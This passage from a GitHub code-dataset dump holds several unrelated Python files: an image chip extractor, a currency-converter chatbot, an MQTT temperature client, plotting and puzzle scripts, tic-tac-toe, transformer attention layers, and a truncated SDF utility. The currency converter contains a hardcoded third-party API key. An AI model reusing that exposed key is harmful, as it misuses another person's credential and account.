= scrshot.refine_segments(h, w, outlier_threshold)\n info = {'height_counter': height_counter, 'width_counter': width_counter}\n return info\n\n\nclass Screenshot:\n\n _weights = np.array([.2125, .7152, .0722]) # RGB2Gray\n\n def __init__(self, raw_img, resize_height=800,\n threshold=.35, fill_max_margin=5,\n min_interval_length=5):\n w, h = raw_img.size\n resize_w = int(w * resize_height // h)\n raw_img = raw_img.resize([resize_w, resize_height], Image.ANTIALIAS)\n self.raw_img = raw_img\n img = np.array(raw_img, dtype=float) / 255.\n img = img @ self._weights\n self.img = img\n _, self.coords = self.extract(threshold, fill_max_margin, min_interval_length)\n\n def __len__(self):\n return len(self.coords)\n\n def __getitem__(self, item):\n x, y, h, w = self.coords[item]\n return self.img[x:x+h, y:y+w].copy()\n\n @property\n def colorful_chips(self):\n chip_list = []\n for x, y, h, w in self.coords:\n chip_list.append(np.array(self.raw_img)[x:x+h, y:y+w])\n return chip_list\n\n @property\n def chips(self):\n chip_list = []\n for x, y, h, w in self.coords:\n chip_list.append(self.img[x:x+h, y:y+w].copy())\n return chip_list\n\n @classmethod\n def from_file(cls, fname, *args, **kwargs):\n raw_img = Image.open(fname)\n return cls(raw_img, *args, **kwargs)\n\n def extract(self, threshold=.35, fill_max_margin=5, min_interval_length=5):\n strips, indices_v = extract_strips(self.img, threshold, fill_max_margin)\n chips = []\n coords = []\n for strip, (y0, y1) in zip(strips, indices_v):\n sub_chips, indices_h = split_strip(strip, threshold,\n fill_max_margin,\n min_interval_length)\n for chip, (x0, x1) in zip(sub_chips, indices_h):\n chips.append(chip)\n coords.append([x0, y0, x1-x0, y1-y0])\n coords = np.asarray(coords)\n return chips, coords\n\n def refine_segments(self, height, width, outlier_threshold=10):\n diff = self.coords[:, 2:] - np.array([height, width])\n invalid_idx = np.any(diff > outlier_threshold, axis=1)\n self.coords = self.coords[~invalid_idx].copy()\n self.coords[:, 2] = height\n self.coords[:, 3] = width\n return self.chips\n\n\ndef extract_strips(img, threshold=.35, fill_max_margin=5):\n h, w = img.shape\n t, b = int(h * .2), int(h * .8)\n mask_arr = img[t:b].min(axis=0) > threshold\n mask_arr = fill_blanks(mask_arr, max_margin=fill_max_margin)\n intervals = consecutive(np.where(~mask_arr)[0])\n strips = []\n indices = []\n for a, *_, b in intervals[1:-1]:\n strips.append(img[:, a:b + 1].copy())\n indices.append((a, b+1))\n return strips, indices\n\n\ndef split_strip(strip, threshold=.35, fill_max_margin=5, min_length=5):\n mask_arr = fill_blanks(strip.min(axis=1) > threshold, fill_max_margin)\n intervals = consecutive(np.where(mask_arr)[0])\n # filter out small intervals (noise)\n intervals = [x for x in intervals if len(x) > min_length]\n # find the middle margin\n midline_idx = np.argmin(np.abs([x[len(x) // 2] - strip.shape[0] // 2\n for x in intervals]))\n if midline_idx == 0:\n # bottom chip\n t2 = intervals[0][-1] + 1\n b2 = intervals[1][0]\n h = b2 - t2\n # top chip\n b1 = intervals[0][0]\n t1 = b1 - h\n chips = [strip[t2:b2]]\n indices = [(t2, b2)]\n if t1 >= 0: # out of boundary?\n chips.append(strip[t1:b1])\n indices.append((t1, b1))\n chips = chips[::-1]\n indices = indices[::-1]\n elif midline_idx > 0:\n # top chip\n t1 = intervals[midline_idx - 1][-1] + 1\n b1 = intervals[midline_idx][0]\n h = b1 - t1\n # bottom chip\n t2 = intervals[midline_idx][-1] + 1\n b2 = t2 + h\n chips = [strip[t1:b1]]\n indices = [(t1, b1)]\n if b2 <= strip.shape[0]:\n chips.append(strip[t2:b2])\n indices.append((t2, b2))\n else:\n raise NotImplementedError\n return chips, indices\n","repo_name":"yzhang1918/ChipSolver","sub_path":"chipextractor/image_process.py","file_name":"image_process.py","file_ext":"py","file_size_in_byte":5880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2140916101","text":"import requests\n\"\"\"\nAPI key - 9YzmAOEyGS7fxZRxXGriFM1NK5SUyQzK\n\nhttps://apilayer.com/marketplace/exchangerates_data-api#documentation-tab\n\n\"\"\"\n\n\ndef currency_converter(data):\n try:\n curr_amt = data['queryResult']['parameters']['unit-currency']['amount']\n\n convert = data['queryResult']['parameters']['unit-currency']['currency']\n\n into = data['queryResult']['parameters']['currency-name'][0]\n\n url = f\"https://api.apilayer.com/exchangerates_data/convert?to={into}&from={convert}&amount={curr_amt}\"\n headers = {\n \"apikey\": \"9YzmAOEyGS7fxZRxXGriFM1NK5SUyQzK\"\n }\n response = requests.request(\"GET\", url, headers=headers, data={})\n print(\"-------API RESPONSE-------\")\n print(response.text)\n print(\"-------API RESPONSE-------\")\n\n converted_amt = round(response.json()[\"result\"], 2)\n\n result = {\n 'fulfillmentText': f\"{curr_amt} {convert} is {converted_amt} {into}\"\n }\n\n return result\n\n except KeyError:\n return {\n 'fulfillmentText': \"My abilities didn't allow me to do that this time. try again? :(\"\n }\n\n\n\n\n","repo_name":"Ruhil-DS/Easy-Life-Chatbot","sub_path":"Application/Currency.py","file_name":"Currency.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"30562159523","text":"# COMP216 W2022 | SEC.001 - Group 3\n# Final Project - Subscriber\n# April 20, 2022\n# Participants:\n# Alvarado, Bernadette\n# Ariza Bustos, Luz\n# De Guzman, Marc Louis Gene\n# Duquinal, Apple Coleene\n# Pinlac, Dean Carlo\n# Non-Participants:\n# None\n\nfrom tkinter import *\nfrom tkinter import Tk, Canvas, Frame, W\nfrom tkinter import messagebox\nfrom tkinter.ttk import *\nimport paho.mqtt.client as mqtt\nimport json\n\nclass TempClient(Tk):\n def __init__(self):\n super().__init__()\n self.title('Group3 - Sensor Client')\n self.create_vars()\n\n # Initialize UI\n self.initUI()\n\n # Initialize MQTT connection\n mqttc = mqtt.Client()\n mqttc.on_connect = self.on_connect\n mqttc.on_disconnect = self.on_disconnect\n mqttc.on_message = self.on_message\n mqttc.on_subscribe = self.on_subscribe\n mqttc.on_unsubscribe = self.on_unsubscribed\n self.__mqttc = mqttc\n\n def on_disconnect(self, mqrrc, userdata, rc):\n print('Disconnected.. \\n Return code: ' + str(rc))\n\n def on_unsubscribed(self, mqttc, userdata, mid, granted_qos):\n print('Unsubscribed')\n\n def update_data(self, packetId, interval, newTemp):\n # Check if there is lost transmission\n lost = (packetId - self.__lastReceived) > (interval * 1000 * 1.1)\n if (self.__lastReceived > 0 and lost):\n print('Missing Detected!')\n miss = self.__missing.get()\n self.__missing.set(miss + 1)\n\n self.__lastReceived = packetId\n\n # Wild Data is not added to dataset\n if (newTemp < -40 or newTemp > 40):\n print('Wild Detected!')\n wild = self.__wild.get()\n self.__wild.set(wild + 1)\n return\n \n if(len(self.__data) >= 20):\n self.__data.pop(0)\n\n self.__data.append(newTemp)\n\n # Method to Display Rectangles and Lines\n self.canv.delete('all')\n self.displayLines()\n self.displayData()\n\n def create_styles(self, parent=None):\n style = Style()\n style.configure('TFrame', background='#c8e6d3')\n style.configure('TLabel', background='#c8e6d3')\n\n def create_vars(self):\n self.__data = []\n self.__sensorName = StringVar()\n self.__packetId = StringVar(value='000000000000')\n self.__name = StringVar(value='Sensor Name')\n self.__temp = DoubleVar(value=0)\n self.__ipv4 = StringVar(value='0.0.0.0')\n self.__wild = IntVar(value=0)\n self.__missing = IntVar(value=0)\n self.__lastReceived = -1\n self.__button_name = StringVar(value='Start')\n\n # dropdown options\n self.__sensors_name = [\"sensor1\", \"sensor2\", \"sensor3\"]\n\n def initUI(self):\n\n Canvas(width=860, height=280).pack()\n container = Frame(self, padding=(5, 5))\n container.place(relx=0.015, rely=0.02, relheight=0.96, relwidth=0.97)\n Label(container, text='Temperature Client', font='Arial 12 bold').place(relx=0.33, height=30)\n Label(container, text='PacketID: ').place(relx=0.7, rely=0.15)\n Label(container, textvariable=self.__packetId).place(relx=0.85, rely=0.15)\n Label(container, text='Name: ').place(relx=0.7, rely=0.25)\n Label(container, textvariable=self.__name).place(relx=0.85, rely=0.25)\n Label(container, text='IPv4: ').place(relx=0.7, rely=0.35)\n Label(container, textvariable=self.__ipv4).place(relx=0.85, rely=0.35)\n Label(container, text='Temperature: ').place(relx=0.7, rely=0.45)\n Label(container, textvariable=self.__temp).place(relx=0.85, rely=0.45)\n Label(container, text='Wild Data: ').place(relx=0.7, rely=0.55)\n Label(container, textvariable=self.__wild).place(relx=0.85, rely=0.55)\n Label(container, text='Missing: ').place(relx=0.7, rely=0.65)\n Label(container, textvariable=self.__missing).place(relx=0.85, rely=0.65)\n topicOptions = Combobox(container, values=self.__sensors_name, textvariable=self.__sensorName, width=10)\n topicOptions.place(relx=0.7, rely=0.85)\n topicOptions.current(0)\n self.startButton = Button(textvariable=self.__button_name, command=self.btn_on_click).place(relx=0.83, rely=0.82)\n # Initialize Canvas\n self.canv = Canvas(self)\n self.canv.place(relx=0.05, rely=0.24, width=500, height=180)\n\n # Initialize Start Value\n self.create_styles()\n\n def btn_on_click(self):\n if self.__button_name.get() == 'Start':\n # Set States\n self.__button_name.set('Stop')\n self.__data.clear()\n self.__lastReceived = -1\n self.__wild.set(0)\n self.__missing.set(0)\n # Connect to Mqtt broker on specified host and port\n self.__mqttc.connect(host='localhost', port=1883)\n self.__mqttc.loop_start()\n print('Starting:', self.__sensorName.get())\n else:\n self.__button_name.set('Start')\n self.__mqttc.unsubscribe(topic=self.__sensorName.get())\n self.__mqttc.loop_stop()\n\n def on_connect(self, mqttc, userdata, flags, rc):\n print('Connected.. \\n Return code: ' + str(rc))\n mqttc.subscribe(topic=self.__sensorName.get(), qos=0)\n\n def on_message(self, mqttc, userdata, msg):\n # print('\"\\n------ Received Message ------\\n\"')\n # print('Topic: ' + msg.topic + ', Message: ' + str(msg.payload))\n message = json.loads(msg.payload)\n self.__packetId.set(message['packetId'])\n self.__name.set(message['name'])\n self.__temp.set(message['temp'])\n self.__ipv4.set(message['ipv4'])\n self.update_data(message['packetId'], message['interval'], message['temp'])\n\n def on_subscribe(self, mqttc, userdata, mid, granted_qos):\n print('Subscribed')\n \n def displayLines(self):\n self.canv = Canvas(self)\n self.canv.place(relx=0.1, rely=0.24, width=500, height=180)\n\n lineHeight = 10\n textDisplay = 22\n for _ in range(4):\n self.canv.create_text(25, lineHeight, anchor=W, font='Arial 7', text=textDisplay)\n self.canv.create_line(45, lineHeight, 65, lineHeight)\n self.canv.create_line(50, lineHeight+20, 65, lineHeight+20)\n lineHeight += 40\n textDisplay -= 1\n\n self.canv.create_text(25, lineHeight, anchor=W, font='Arial 7', text=textDisplay)\n self.canv.create_line(45, lineHeight, 65, lineHeight)\n\n def displayData(self):\n spacing = 70\n prevY = 0\n data_count = len(self.__data)\n for i in range(data_count):\n full = 170 - 10\n relative = (self.__data[i] - 18) / (22 - 18)\n height = 170 - (relative * full)\n \n # Line - No line if data is less than 2 counts\n if(i > 0):\n self.canv.create_line(spacing, prevY, spacing + 20, height)\n \n spacing += 20\n prevY = height\n\nif __name__ == '__main__':\n sts = TempClient()\n sts.mainloop()","repo_name":"Deaniesaur/COMP216_Project_Group3","sub_path":"group_3_subscriber.py","file_name":"group_3_subscriber.py","file_ext":"py","file_size_in_byte":7062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13058964359","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nx = np.linspace(0, 5, 11)\ny = x ** 2\n\n# ---------------------------------------\n# Easiest approach\n# ---------------------------------------\n\n# set the current subplot\nplt.subplot(nrows=1, ncols=2, index=1)\n\n# add the plot to subplot\nplt.plot(x, y)\n\n# set the current subplot\nplt.subplot(nrows=1, ncols=2, index=2)\n\n# add the plot to subplot\nplt.plot(y, x)\n\n# add description for current plot\nplt.xlabel(\"X\")\nplt.ylabel(\"Y\")\nplt.title(\"Title\")\n\n# Show the plot\nplt.show()\n","repo_name":"lukaskellerstein/PythonSamples","sub_path":"50_libraries/2_matplotlib/0_without_GUI/1_subplots/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25076302642","text":"# 2022/10/p2.py\n\nimport json\nimport time\n\nfrom p1 import parse_input\n\n\ndef convert_letter_pixels_to_key(letter_source):\n\tbin_char = 0\n\tfor r_i, q in enumerate(letter_source):\n\t\tnibble = 0\n\t\tfor p_i, p in enumerate(q):\n\t\t\tnibble += p << p_i\n\n\t\tbin_char += nibble << (r_i * 4)\n\n\treturn str(bin_char)\n\ndef convert_screen_to_letter_pixels(screen):\n\tletter_count = int(len(screen[0]) / 5)\n\n\tletters = [[screen[r][l_i*5:(l_i*5)+4] for r in range(len(screen))] for l_i in range(letter_count)]\n\n\treturn letters\n\ndef parse_letter(letter_source, chars):\n\tbin_char = convert_letter_pixels_to_key(letter_source)\n\n\tif bin_char in chars.keys():\n\t\treturn chars[bin_char]\n\telse:\n\t\treturn '?'\n\ndef execute(lkpfn, infn):\n\tmachine = parse_input(infn)\n\n\twith open(lkpfn, 'r') as f:\n\t\tchars = json.loads(f.read())\n\n\tscreen = []\n\n\tline = []\n\n\twhile machine.unfinished():\n\t\t(count, pixel), registers = machine.tick()\n\n\t\tline.append(1 if pixel else 0)\n\n\t\tif count % 40 == 0:\n\t\t\tscreen.append(line)\n\t\t\tline = []\n\n\tletters = [parse_letter(l, chars) for l in convert_screen_to_letter_pixels(screen)]\n\n\treturn ''.join(letters)\n\ndef main(lkpfn, infn):\n\tpre = time.perf_counter()\n\n\tresult = execute(lkpfn, infn)\n\n\tpost = time.perf_counter()\n\n\tprint(result, 'in', '{:.2f}'.format((post - pre) * 1000), 'ms')\n\nif __name__ == '__main__':\n\tmain('part_2_lookup', 'test2.txt')\n\tmain('part_2_lookup', 'input.txt')\n","repo_name":"andrew-hardwick/advent-of-code","sub_path":"2022/10/p2.py","file_name":"p2.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31941080356","text":"import pygame\nimport sys\nfrom ai import choice_ai\n\ndef fields_list(background, y) -> list:\n list_rect = []\n for i in range(3):\n for j in range(3):\n rect = pygame.draw.rect(background, (220,220,220), ((y+5)*i,(y+5)*j, y, y))\n list_rect.append(rect)\n return list_rect\n\ndef add_field_value(background, y) -> list:\n map = []\n for i in range(3):\n for j in range(3):\n rect = pygame.draw.rect(background, (220,220,220), ((y+5)*i,(y+5)*j, y, y))\n map.append([rect, 0])\n return map\n\ndef change_field_value(rect, map, n):\n for i in map:\n if i[0] == rect:\n i[1] = n\n\ndef is_winning(map, n):\n for j in range(0,7,3):\n if map[0+j][1] ==n and map[1+j][1]==n and map[2+j][1] ==n:\n return True\n for j in range(3):\n if map[0+j][1] ==n and map[3+j][1]==n and map[6+j][1] ==n:\n return True\n for j in range(0,3,2):\n if map[0+j][1] ==n and map[4][1]==n and map[8-j][1] ==n:\n return True\n \ndef draw_cross(background, center_point):\n pygame.draw.lines(background, (0,0,0), False, \n [[center_point[0]-45,center_point[1]-45], \n center_point, \n [center_point[0]-45, center_point[1]+45], \n center_point, \n [center_point[0]+45, center_point[1]-45],\n center_point, \n [center_point[0]+45, center_point[1]+45]], 8)\n\ndef draw_circle(background, center_point):\n pygame.draw.circle(background, (0,0,0), center_point, 45, 7)\n\ndef initialize_background(background, y):\n background.fill((0, 0, 0))\n list_rect = fields_list(background, y)\n map = add_field_value(background, y)\n counter = 0\n return list_rect, map, counter \n\ndef main():\n pygame.init()\n x = 600\n y = x/3\n screen = pygame.display.set_mode((x, x))\n background = pygame.Surface(screen.get_size())\n background = background.convert()\n list_rect, map, counter = initialize_background(background, y)\n while 1:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n if is_winning(map, 1) == True:\n background.fill((220,220,220))\n text = pygame.font.Font.render(pygame.font.SysFont(\"Dyuthi\", 42), 'Congratulations, you won!', True, (0,0,0))\n background.blit(text, (x/6, x/2))\n if event.type == pygame.MOUSEBUTTONDOWN:\n list_rect, map, counter = initialize_background(background, y)\n elif is_winning(map, -1) == True:\n background.fill((220,220,220))\n text = pygame.font.Font.render(pygame.font.SysFont(\"Dyuthi\", 42), 'Your enemy won the game!', True, (0,0,0))\n background.blit(text, (x/6, x/2))\n if event.type == pygame.MOUSEBUTTONDOWN:\n list_rect, map, counter = initialize_background(background, y)\n elif counter == 9:\n background.fill((220,220,220))\n text = pygame.font.Font.render(pygame.font.SysFont(\"Dyuthi\", 42), f'Looser', True, (0,0,0))\n background.blit(text, (x/6, x/2))\n if event.type == pygame.MOUSEBUTTONDOWN:\n list_rect, map, counter = initialize_background(background, y)\n elif counter < 9:\n try:\n if event.type == pygame.MOUSEBUTTONDOWN:\n if (counter%2)==0:\n for rect in list_rect:\n if pygame.Rect.collidepoint(rect, pygame.mouse.get_pos()):\n counter += 1\n draw_cross(background, rect.center)\n change_field_value(rect, map, 1)\n new_list = list_rect\n new_list.remove(rect)\n random_rect = choice_ai(map, new_list)\n elif event.type == pygame.MOUSEBUTTONUP:\n if (counter%2)!=0:\n for rect in new_list:\n if pygame.Rect.colliderect(rect, random_rect):\n counter += 1\n draw_circle(background, rect.center)\n change_field_value(rect, map, -1)\n new_list.remove(rect)\n except:\n break \n screen.blit(background, (0, 0))\n pygame.display.flip()\n\nif __name__ == '__main__':\n main()","repo_name":"A-Dabek/TIC-TAC-TOE","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43123539601","text":"import torch\nfrom torch import nn\nfrom torch.nn import functional as f\nimport math\n\n\nclass EfficientAttention(nn.Module):\n\n def __init__(self, in_channels, key_channels, head_count, value_channels):\n super().__init__()\n self.in_channels = in_channels\n self.key_channels = key_channels\n self.head_count = head_count\n self.value_channels = value_channels\n\n self.keys = nn.Conv1d(in_channels, key_channels, 1)\n self.queries = nn.Conv1d(in_channels, key_channels, 1)\n self.values = nn.Conv1d(in_channels, value_channels, 1)\n self.reprojection = nn.Conv1d(value_channels, in_channels, 1)\n\n def forward(self, input_):\n B, channel_dim, L = input_.size()\n keys = self.keys(input_)\n queries = self.queries(input_)\n values = self.values(input_)\n head_key_channels = self.key_channels // self.head_count\n head_value_channels = self.value_channels // self.head_count\n\n attended_values = []\n for i in range(self.head_count):\n key = f.softmax(keys[\n :,\n i * head_key_channels: (i + 1) * head_key_channels,\n :\n ], dim=2)\n query = f.softmax(queries[\n :,\n i * head_key_channels: (i + 1) * head_key_channels,\n :\n ], dim=1)\n value = values[\n :,\n i * head_value_channels: (i + 1) * head_value_channels,\n :\n ]\n context = key @ value.transpose(1, 2)\n attended_value = (\n context.transpose(1, 2) @ query\n ).reshape(B, head_value_channels, L)\n attended_values.append(attended_value)\n\n aggregated_values = torch.cat(attended_values, dim=1)\n reprojected_value = self.reprojection(aggregated_values)\n attention = reprojected_value + input_\n\n return attention #(B, channel, L)\n\nclass LinearTranformerEncodeLayer(nn.Module):\n def __init__(self, channels, head_count, dim_feedforward=64, dropout=0.1):\n super().__init__()\n self.head_count = head_count\n\n self.linear1 = nn.Linear(channels, dim_feedforward)\n self.dropout = nn.Dropout(dropout)\n self.linear2 = nn.Linear(dim_feedforward, channels)\n\n # self.norm_first = norm_first\n self.norm1 = nn.LayerNorm(channels)\n self.norm2 = nn.LayerNorm(channels)\n self.dropout1 = nn.Dropout(dropout)\n self.dropout2 = nn.Dropout(dropout)\n self.activation = nn.GELU()\n\n self.sa_block = EfficientAttention(\n in_channels=channels,\n key_channels=channels,\n head_count=head_count,\n value_channels=channels\n )\n\n def forward(self, input_):\n x = input_\n x = self.norm1(self.sa_block(x).permute(0,2,1)) #(B,channel,L)->(B,L,channel)\n x = self.norm2(x + self._ff_block(x)).permute(0,2,1) #(B,L,channel)->(B,channel,L)\n return x\n\n def _ff_block(self, x):\n x = self.linear2(self.dropout(self.activation(self.linear1(x))))\n return self.dropout2(x)\n\n\nclass NysAttention(nn.Module):\n def __init__(\n self,\n dim,\n num_heads=8,\n in_dim=None,\n qkv_bias=False,\n qk_scale=None,\n attn_drop=0.,\n proj_drop=0.,\n num_landmarks=64,\n kernel_size=0,\n init_option = \"exact\"\n ):\n super().__init__()\n self.num_heads = num_heads\n self.in_dim = in_dim\n head_dim = dim // num_heads\n self.scale = head_dim ** 0.5\n self.landmarks = num_landmarks\n self.kernel_size = kernel_size\n self.init_option = init_option\n\n self.qkv = nn.Linear(dim, in_dim * 3, bias=qkv_bias)\n self.attn_drop = nn.Dropout(attn_drop)\n self.proj = nn.Linear(in_dim, in_dim)\n self.proj_drop = nn.Dropout(proj_drop)\n\n if self.kernel_size > 0:\n self.conv = nn.Conv2d(\n in_channels = self.num_heads, out_channels = self.num_heads,\n kernel_size = (self.kernel_size, 1), padding = (self.kernel_size // 2, 0),\n bias = False,\n groups = self.num_heads)\n\n def iterative_inv(self, mat, n_iter = 6):\n I = torch.eye(mat.size(-1), device = mat.device)\n K = mat\n\n # The entries of K are positive and ||K||_{\\infty} = 1 due to softmax\n if self.init_option == \"original\":\n # This original implementation is more conservative to compute coefficient of Z_0.\n V = 1 / torch.max(torch.sum(K, dim = -2)) * K.transpose(-1, -2)\n else:\n # This is the exact coefficient computation, 1 / ||K||_1, of initialization of Z_0, leading to faster convergence.\n V = 1 / torch.max(torch.sum(K, dim = -2), dim = -1).values[:, :, None, None] * K.transpose(-1, -2)\n\n for _ in range(n_iter):\n KV = torch.matmul(K, V)\n V = torch.matmul(0.25 * V, 13 * I - torch.matmul(KV, 15 * I - torch.matmul(KV, 7 * I - KV)))\n return V\n\n def forward(self, x, attn_mask=None):\n B, N, C = x.shape\n # qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, self.in_dim).permute(2, 0, 3, 1, 4)\n qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, self.in_dim//self.num_heads).permute(2, 0, 3, 1, 4)\n q, k, v = qkv[0], qkv[1], qkv[2]\n q /= self.scale\n\n keys_head_dim = k.size(-1)\n segs = N // self.landmarks\n if (N % self.landmarks == 0):\n keys_landmarks = k.reshape(B, self.num_heads, self.landmarks, N // self.landmarks, keys_head_dim).mean(dim = -2)\n queries_landmarks = q.reshape(B, self.num_heads, self.landmarks, N // self.landmarks, keys_head_dim).mean(dim = -2)\n else:\n num_k = (segs + 1) * self.landmarks - N\n keys_landmarks_f = k[:, :, :num_k * segs, :].reshape(B, self.num_heads, num_k, segs, keys_head_dim).mean(dim = -2)\n keys_landmarks_l = k[:, :, num_k * segs:, :].reshape(B, self.num_heads, self.landmarks - num_k, segs + 1, keys_head_dim).mean(dim = -2)\n keys_landmarks = torch.cat((keys_landmarks_f, keys_landmarks_l), dim = -2)\n\n queries_landmarks_f = q[:, :, :num_k * segs, :].reshape(B, self.num_heads, num_k, segs, keys_head_dim).mean(dim = -2)\n queries_landmarks_l = q[:, :, num_k * segs:, :].reshape(B, self.num_heads, self.landmarks - num_k, segs + 1, keys_head_dim).mean(dim = -2)\n queries_landmarks = torch.cat((queries_landmarks_f, queries_landmarks_l), dim = -2)\n\n kernel_1 = torch.nn.functional.softmax(torch.matmul(q, keys_landmarks.transpose(-1, -2)), dim = -1)\n kernel_2 = torch.nn.functional.softmax(torch.matmul(queries_landmarks, keys_landmarks.transpose(-1, -2)), dim = -1)\n kernel_3 = torch.nn.functional.softmax(torch.matmul(queries_landmarks, k.transpose(-1, -2)), dim = -1)\n x = torch.matmul(torch.matmul(kernel_1, self.iterative_inv(kernel_2)), torch.matmul(kernel_3, v))\n\n if self.kernel_size > 0:\n x += self.conv(v)\n\n x = x.transpose(1, 2).reshape(B, N, self.in_dim)\n x = self.proj(x)\n x = self.proj_drop(x)\n # x = v.squeeze(1) + x\n return x\n\nclass NystromformerEncodeLayer(nn.Module):\n def __init__(self, channels, head_count, num_landmarks, dim_feedforward=64, dropout=0.1):\n super().__init__()\n self.head_count = head_count\n\n self.linear1 = nn.Linear(channels, dim_feedforward)\n self.dropout = nn.Dropout(dropout)\n self.linear2 = nn.Linear(dim_feedforward, channels)\n\n # self.norm_first = norm_first\n self.norm1 = nn.LayerNorm(channels)\n self.norm2 = nn.LayerNorm(channels)\n self.dropout1 = nn.Dropout(dropout)\n self.dropout2 = nn.Dropout(dropout)\n self.activation = nn.GELU()\n\n self.sa_block = NysAttention(\n dim=channels,\n num_heads=head_count,\n in_dim=channels,\n num_landmarks=num_landmarks,\n kernel_size=3\n )\n\n def forward(self, input_):\n x = input_\n x = self.norm1(self.sa_block(x.permute(0,2,1))) #(B,channel,L)->(B,L,channel)\n x = self.norm2(x + self._ff_block(x)).permute(0,2,1) #(B,L,channel)->(B,channel,L)\n return x\n\n def _ff_block(self, x):\n x = self.linear2(self.dropout(self.activation(self.linear1(x))))\n return self.dropout2(x)\n\nclass LinformerAttention(nn.Module):\n projection_matrix = None\n\n def __init__(\n self,\n seq_len,\n in_dim=64,\n num_heads=8,\n qkv_bias=False,\n proj_drop=0.,\n linformer_k=128\n ):\n super().__init__()\n\n self.num_heads = num_heads\n self.in_dim = in_dim\n self.linformer_k = linformer_k\n self.seq_len = seq_len\n self.head_dim = self.in_dim // self.num_heads\n self.scale = self.head_dim ** 0.5\n self.qkv = nn.Linear(in_dim, in_dim * 3, bias=qkv_bias)\n self.proj = nn.Linear(in_dim, in_dim)\n self.proj_drop = nn.Dropout(proj_drop)\n\n if LinformerAttention.projection_matrix is not None:\n self.E = LinformerAttention.projection_matrix\n else:\n LinformerAttention.projection_matrix = nn.Parameter(torch.Tensor(self.num_heads, self.linformer_k, self.seq_len))\n torch.nn.init.normal_(LinformerAttention.projection_matrix, std = 0.02)\n self.E = LinformerAttention.projection_matrix\n\n def forward(self, x):\n B, N, C = x.shape\n qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, self.head_dim).permute(2, 0, 3, 1, 4) #(qkv, B, heads, N, dim)\n Q, K, V = qkv[0], qkv[1], qkv[2]\n Q /= self.scale\n\n K = torch.matmul(self.E, K)\n V = torch.matmul(self.E, V)\n\n dot = torch.matmul(Q, torch.transpose(K, -2, -1))\n dot = dot / math.sqrt(self.head_dim)\n\n attn = nn.functional.softmax(dot, dim = -1)\n\n x = torch.matmul(attn, V)\n x = x.transpose(1, 2).reshape(B, N, self.in_dim)\n x = self.proj(x)\n x = self.proj_drop(x)\n\n return x\n\nclass LinformerEncodeLayer(nn.Module):\n def __init__(self, seq_len, channels, head_count, linformer_k, dim_feedforward=64, dropout=0.1):\n super().__init__()\n self.head_count = head_count\n\n self.linear1 = nn.Linear(channels, dim_feedforward)\n self.dropout = nn.Dropout(dropout)\n self.linear2 = nn.Linear(dim_feedforward, channels)\n\n # self.norm_first = norm_first\n self.norm1 = nn.LayerNorm(channels)\n self.norm2 = nn.LayerNorm(channels)\n self.dropout1 = nn.Dropout(dropout)\n self.dropout2 = nn.Dropout(dropout)\n self.activation = nn.GELU()\n\n self.sa_block = LinformerAttention(\n seq_len=seq_len,\n in_dim=channels,\n num_heads=head_count,\n linformer_k=linformer_k\n )\n\n def forward(self, input_):\n x = input_\n x = self.norm1(self.sa_block(x.permute(0,2,1))) #(B,channel,L)->(B,L,channel)\n x = self.norm2(x + self._ff_block(x)).permute(0,2,1) #(B,L,channel)->(B,channel,L)\n return x\n\n def _ff_block(self, x):\n x = self.linear2(self.dropout(self.activation(self.linear1(x))))\n return self.dropout2(x)\n","repo_name":"ryu1ro/CSDI_forecast","sub_path":"transformer.py","file_name":"transformer.py","file_ext":"py","file_size_in_byte":11350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1620212733","text":"import numpy as np, cv2\nfrom scipy.ndimage import convolve\nfrom skimage.morphology import erosion, disk\n\ndef transfer_uv_to_world(verts,origin_calib):\n if origin_calib == None:\n return verts,False\n mat = origin_calib.detach().numpy()\n inv_mat = np.linalg.inv(mat)\n homo_verts = np.concatenate([verts,np.ones((verts.shape[0],1))],axis=1)\n ori_verts = np.matmul(inv_mat,homo_verts.T).T\n return ori_verts[...,:3],True\n\n\ndef make_bump_kernel(kernel_size):\n half_size = kernel_size//2\n ori_size = kernel_size\n kernel_size = half_size*2 +1\n\n if kernel_size!=ori_size:\n print(\"warning: kenerl size was adjusted from %d to %d\" % (ori_size, kernel_size))\n\n channel_0 = [[half_size-x for x in range(kernel_size)]]*kernel_size\n channel_1 = [[half_size-x]*kernel_size for x in range(kernel_size)]\n channel_2 = [[0]*kernel_size]*kernel_size\n\n kernel = np.stack((channel_2, channel_1, channel_0), axis = 2)\n \n kernel[kernel<0] = -1\n kernel[kernel>0] = 1\n \n return kernel.astype(np.float32)\n\n\ndef sdf_conv(sdf, kernel_size):\n conv_kernel = np.ones((kernel_size, kernel_size, kernel_size), dtype=np.float32)\n conv_kernel = conv_kernel / np.sum(conv_kernel)\n sdf = convolve(input = sdf, weights = conv_kernel, mode = 'nearest')\n return sdf\n\ndef clean_sdf_edge(sdf, vol_size = 256, edge_ratio=0.02, edge_dist=0.04):\n edge_size = round(vol_size*edge_ratio)\n sdf[:edge_size,:,:], sdf[-edge_size:,:,:] = edge_dist, edge_dist\n sdf[:,:edge_size,:], sdf[:,-edge_size:,:] = edge_dist, edge_dist\n sdf[:,:,:edge_size], sdf[:,:,-edge_size:] = edge_dist, edge_dist\n\n return sdf\n\n# clean background and cloth\ndef clean_sdf_bg(sdf, src_sem_mask, vol_size = 256, erode_ratio = 0.05, edge_dist = 1, only_face = True):\n if only_face is True:\n sem2sdfmask_dict = np.array([1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 